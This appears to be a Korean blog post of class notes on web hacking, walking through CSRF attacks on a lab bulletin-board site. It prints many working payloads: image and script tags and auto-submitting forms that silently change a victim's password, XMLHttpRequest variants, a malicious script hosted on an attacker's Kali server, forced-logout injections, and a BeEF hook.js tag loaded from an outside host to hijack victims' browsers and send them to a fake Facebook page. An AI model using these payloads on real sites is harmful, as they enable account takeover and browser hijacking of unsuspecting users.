change Account Settings들어가서
버프수트로 잡기
패스워드 변경요청을 버프수트 프록시로 잡았다.
이요청패킷을 피해자가 실행되게한다.
1.패스워드 변경요청을 프록시로잡으면 post방식으로 변경할 값이 서버로 전달됩니다.
이게 겟요청이면
GET http://....member_modify_ok.php?exec=modify&name=core&email=core&password=123&repassword=123
이렇게적용이가능하다.
url 쓰고 뒤에 데이타를 쓰면 가능하지만
현재는 post방식인데 get방식으로 바꿔볼까?????
이런생각을할수있다
애를 get요청으로 바꿔본다.
참고로 15,16 줄의 공백은 지우면안된다!중요
POST방식을>>>>>>>GET방식으로!!!!
GET /webhack/member/member_modify_ok.php?exec=modify&name=core&email=core&password=123&repassword=123
참고로 15,16 줄의 공백은 지우면안된다!중요
<script src="http://192.168.0.200/webhack/member/member_modify_ok.php? exec=modify&name=core&email=core&password=123&repassword=123
이걸 실행한사람이 비밀번호가 바껴지게
인증값이없는 게시판에서는 이거를 써봐야 아무일이없다.
(anonymous Board같은 로그인이필요없는곳에서는)
인증값이필요한 Q&A Board에서 해본다.
script는 사용불가 하지만 oneerror/alert 함수사용가능
<img src=# onerror=alert('aa')>
<img src=# onerror=alert('aa')>
1번방법
<script>
location.href="http://192.168.0.200/webhack/member/member_modify_ok.php? user_id=asdasd&exec=modify&name=asdasd&email=asdasd&password=12345&repassword=12345"
</script>
이렇게 스크립트를작성해서넣으면 변경이완료된다.
---------------------------------------------
---------------------------
다른방법
<script src="http://192.168.0.200/webhack/member/member_modify_ok.php? user_id=asdasd&exec=modify&name=asdasd&email=asdasd&password=asdasd&repassword=asdasd"/>
자동으로 로그인 껏다켜도 자동으로 비밀번호가 바뀐다
-----------------------------------------------다른방법
<script>
var request = new XMLHttpRequest();
request.open("GET", "http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=hmwoo&email=hmwoo@hmwoo.com&password=hmwoo123&repassword=hmwoo123", false);
request.onreadystatechange = function()
{
console.log(request.responseText);
}
request.send();
</script>
-------------------------------------------------------------------
다음문제
중요!
----------------------------------------------------------------------------------------------------
공격시나리오
q&a Board에서
공격지 :attacker555/attacker555
피해자 test4444/test44444
회원가입
피해자의 비밀번호를 attacker5555로 변경시도
<img src="http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=asdasd&email=asdasd&password=asdasd&repassword=asdasd">
<img src="http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=hmwoo&email=hmwoo@hmwoo.com&password=hmwoo123&repassword=hmwoo123" />
csrf공격은 본인도모르는 사이에 비밀번호가 바뀌어서 당한다
공격지 :attacker555/attacker555
공격자가
게시물에
<img src="http://192.168.0.200/webhack/member/member_modify_ok.php?exec=modify&name=asdasd&email=asdasd&password=test1234&repassword=test1234"/>
삽입했을떄
피해자 test4444/test44444
인사람이
피해자가 저걸눌렀을떄
비밀번호가 자동으로
피해자 test4444/test1234
바뀌기때문에
클릭을 해서 비밀번호가 자동으로 바뀌기때문에
피해자가 저게시글을 클릭해서 비밀번호가 바뀌어버려서 로그인이 못하는 상황이 올떄
csrf공격을당한것이다
누른사람이 저요청대로 바뀐다는뜻임
-------------------------------------------------------------------
다음
-------------------------------------------
네이버 로그인 소스코드
<html>
<form name="test" method="post" action="http://192.168.0.200/--.php>
<input type="text" name="abc" value="test123">
<input type="text" name="wel" value="test456">
<button type="submit">
</html>
내가 포스트형식으로 저기에다 보낼껀데
<html>
<form name="test" method="post" action="http://192.168.0.200/--.php>
내가 포스트형식으로 저기에다 보낼껀데
<input type="text" name="abc" value="test123">
abc라는 변수에 test123값을넣는다
<input type="text" name="wel" value="test456">
wel라는 변수에 test456값을 넣는다
<button type="submit">
</html>
이런식의 형식이라는것을알수있다. 그걸 이용해서
밑에처럼 만든다.
내가만든걸 로그인 누를떄 프록시로 잡으면
이렇게나온다.
exec=modify&name=joonsoojjj&email=joonsoo&password=123123&repassword=123123
위에있는애를 이렇게변경하려면
회원정보 변경하는 곳의 프록시와같게 만든다 대신
1줄 16줄만변경
첫번쨰랑
16번쨰를 똑같이만들려면 html파일을수정해야된다
html을
위에 프록시 잡은것에 내 메모 파일의 형식에 똑같이 만들게하려면!!!!!!!!!!!!
위에처럼 적용을시킨다.
그러면 프록시가 같아진다
이렇게 같아지니까 잘이용해보기
html을 이용해 프록시 첫번쨰 16번쨰 같게만드셈
프록시로 비밀번호 변경사이트를 변경할떄 프록시로 캡쳐해서
내가만든 사이트에 같게만들어서
비밀번호변경사이트를 내가 만들어서
변경하게 만들수있다!
다음문제시작
---------------------------------------------------------------------------------------------
대신에 버튼을 클릭해야 실행이되서 비밀번호변경이되니까 어떤바보가그럴까
그래서 그냥 게시글만눌러도 변경되게 바로 실행되게 해보자
<form name="test" method="post" action="http://192.168.0.200/webhack/member/member_modify_ok.php">
<input type="text" name="exec" value="modify">
<input type="text" name="name" value="joonsoojjj">
<input type="text" name="email" value="joonsoo">
<input type="text" name="password" value="123123">
<input type="text" name="repassword" value="123123">
<button type="submit">
</form>
<script>
document.test.submit()
</script>
설명(
<script>
document.test.submit()
</script>
이거는 그냥 버튼을 스크립트로실행시키는거!!!!!!!!!!!!!!!!!!!!!!!!!!! )
(위에서는 버튼을 클릭을해야지만 실행이된다.)
하지만!
이거는 게시글을 클릭만하더라도 이스크립트가 실행이되기때문에
유용하게쓸수있지만 비밀번호가 바꼇다는 내용이 출력이되기때문에 단점이있다.
----------------------------------------------------------------
결국 html 로 똑같이 만들었지만 바보가 클릭을해야만 변경이되는사이트를 만들었다가
게시글에 넣어서 그 게시글을 클릭만해도 비밀번호가 바뀌는 형식으로 만들음!
------------------------------------------------------------------------------------------------------
다음문제
--------------------------------------------------------------------------------------------------
게시글에 비밀번호 변경 스크립트를 외부서버 칼리로 지정
<script>를 제외한 모든 태그가 필터링 되있을떄!!!!!!
별도 악성 서버를 통해서 비밀번호를 강제로 변경
cd /var/www/html에서
vi csrf.js
xss에서는 이렇게 했었다 <script type="text/javascript" src="http://192.168.0.81/xss.js"></script>
이렇게만드셈
-------시작
외부서버 칼리에서 계정의 비밀번호가 변경되는 스크립트를 실행하게 구현
var xmlHttp = new XMLHttpRequest()
xmlHttp.open('GET',
xmlHttp.send()
입력
전송방식과 전송 목적지를 하게만든다 send로 목적지와 get방식으로 보내겠다.
글을읽는사람이바뀌도록
게시글에 비밀번호 변경 스크립트를 외부서버 칼리로 지정
<script type="text/javascript" src="http://192.168.0.200/csrf.js"></script>
로그인 했을떄
비밀번호가 바뀐것이 확인가능!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
외부서버에서 계정의 비밀번호를 변경시켜버린다.
--------------------------------------------------
다음문제
================================================================
=================================================
Q&A Board에서
게시글을 클릭하면 자동으로 로그아웃 되는 csrf를 구현하시오
로그아웃을 눌렀을때 이런 주소가 나온다는것을 소스 검사를통해 알수있다.
그러므로
스크립트를 작성할떄
"http://192.168.0.200/webhack/member/member_logout.php"
이렇게 적용을하면된다는것을 알수있다
작성해보면
<script
src="http://192.168.0.200/webhack/member/member_logout.php">
</script>
로그아웃이됫다 글을 눌렀을때.!!
------------------------------------------
다른방법
게시글을눌렀을때 로그아웃웹페이지로 이동하는것을 표현해보자
위에서는 그냥 로그아웃만 되기떄문에
주입하게되면
<script
src="http://192.168.0.200/webhack/member/member_logout.php">
</script>
<script>
location.href="http://192.168.0.200/webhack"
</script>
로그아웃 스크립트작성완료
로그아웃이 되면서 조금 모양이이상하게나온다 그러면
제대로 보이게하자!!
---------------------다른방법
<script
src="http://192.168.0.200/webhack/member/member_logout.php">
</script>
<script>
window.parent.location.href="http://192.168.0.200/webhack"
</script>
눌럿을떄 바로 로그아웃이되는걸 확인할수있다 !!!!!!!!!!!!!!!!!!!
1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
--------------------------------------------------------------------
다른방법
<img src="http://192.168.0.200/webhack/member/member_logout.php/">
이방법도있고
<img src="http://192.168.0.200/webhack/member/member_logout.php/">
<script>
window.parent.location.href="http://192.168.0.200/webhack"
</script>
beef url 주소-------------------------------------좀비만들기
<img src="http://192.168.0.200/webhack/member/member_logout.php/">
<script src="http://192.168.0.74:3000/hook.js">
</script>
스크립트안에 그냥 ip 주소를 넣어도된다 전에 beef로 페이스북사이트를 만들어놧기떄문에
상대방이 게시글눌렀을떄 페이스북으로가게된다
beef 를이용해 악성스크립트 이용해서
'Web hacking' 카테고리의 다른 글
파일업로드 취약점,소스코드공개될때 가능한취약점 (0) | 2020.12.01 |
---|---|
웹해킹 파일업로드 취약점 (0) | 2020.12.01 |
웹해킹시간 제로보드취약점 기존스크립트유지 (0) | 2020.12.01 |
웹해킹.kr 버프슈트 intruder 자동 회원가입등, sqlmap,제로보드 취약점 (0) | 2020.12.01 |
웹해킹 ( beebug,xss공격,beef툴,setoolkit,사용자계정탈취) (0) | 2020.12.01 |